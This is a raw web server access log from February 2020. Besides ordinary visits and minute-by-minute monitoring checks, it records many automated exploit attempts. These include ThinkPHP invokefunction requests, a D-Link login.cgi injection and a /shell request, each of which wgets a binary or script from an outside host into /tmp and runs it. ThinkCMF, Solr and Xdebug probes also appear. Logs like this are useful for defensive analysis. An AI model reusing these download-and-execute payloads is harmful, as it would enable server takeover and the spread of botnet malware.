78.128.113.46 - - [04/Feb/2020:09:24:48 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:48 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:55 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
78.128.113.46 - - [04/Feb/2020:09:24:55 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.111 - - [04/Feb/2020:09:25:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.82.68.70 - - [04/Feb/2020:09:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.70 - - [04/Feb/2020:09:25:41 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.70 - - [04/Feb/2020:09:25:41 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.71 - - [04/Feb/2020:09:25:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.71 - - [04/Feb/2020:09:25:54 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.71 - - [04/Feb/2020:09:25:54 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.210.6.113 - - [04/Feb/2020:09:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
116.58.235.179 - - [04/Feb/2020:09:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:09:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.144.195 - - [04/Feb/2020:09:28:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.89.176.199 - - [04/Feb/2020:09:29:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.170.248 - - [04/Feb/2020:09:34:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.71.18 - - [04/Feb/2020:09:34:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.119.103 - - [04/Feb/2020:09:34:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.237.204 - - [04/Feb/2020:09:37:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.146.152 - - [04/Feb/2020:09:37:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.102.221.72 - - [04/Feb/2020:09:40:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.129.252.66 - - [04/Feb/2020:09:41:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [04/Feb/2020:09:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.95.111 - - [04/Feb/2020:09:43:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.71.204 - - [04/Feb/2020:09:43:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.140.42.84 - - [04/Feb/2020:09:44:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.101 - - [04/Feb/2020:09:46:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.1.94.101 - - [04/Feb/2020:09:46:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.181.153 - - [04/Feb/2020:09:47:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.35.205.162 - - [04/Feb/2020:09:48:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:09:48:53 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
86.120.44.244 - - [04/Feb/2020:09:49:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.226.25.182 - - [04/Feb/2020:09:49:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.101.0.209 - - [04/Feb/2020:09:49:29 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.13.166 - - [04/Feb/2020:09:49:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.33.22 - - [04/Feb/2020:09:49:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.112.190 - - [04/Feb/2020:09:51:07 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:09:51:07 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:09:51:07 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:09:51:07 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:09:51:07 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [04/Feb/2020:09:51:08 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; x64; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [04/Feb/2020:09:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.0.20.237 - - [04/Feb/2020:09:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.0.20.237 - - [04/Feb/2020:09:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
190.186.22.77 - - [04/Feb/2020:09:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:09:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.44.246.83 - - [04/Feb/2020:09:56:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.172 - - [04/Feb/2020:09:57:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.43.47 - - [04/Feb/2020:09:57:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:09:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:09:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.137.107.84 - - [04/Feb/2020:10:00:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.139.61 - - [04/Feb/2020:10:01:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.35.144.229 - - [04/Feb/2020:10:01:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:10:01:43 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:10:01:43 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
47.9.163.159 - - [04/Feb/2020:10:02:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:10:02:21 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:10:02:21 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.61.124 - - [04/Feb/2020:10:03:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.76.144.195 - - [04/Feb/2020:10:03:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.77.199.108 - - [04/Feb/2020:10:04:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.197.193 - - [04/Feb/2020:10:06:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.22.50.160 - - [04/Feb/2020:10:06:54 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
121.175.251.243 - - [04/Feb/2020:10:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:10:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [04/Feb/2020:10:09:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
160.238.168.10 - - [04/Feb/2020:10:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:10:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.149 - - [04/Feb/2020:10:11:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
156.220.46.216 - - [04/Feb/2020:10:11:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:10:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:10:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:10:14:04 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
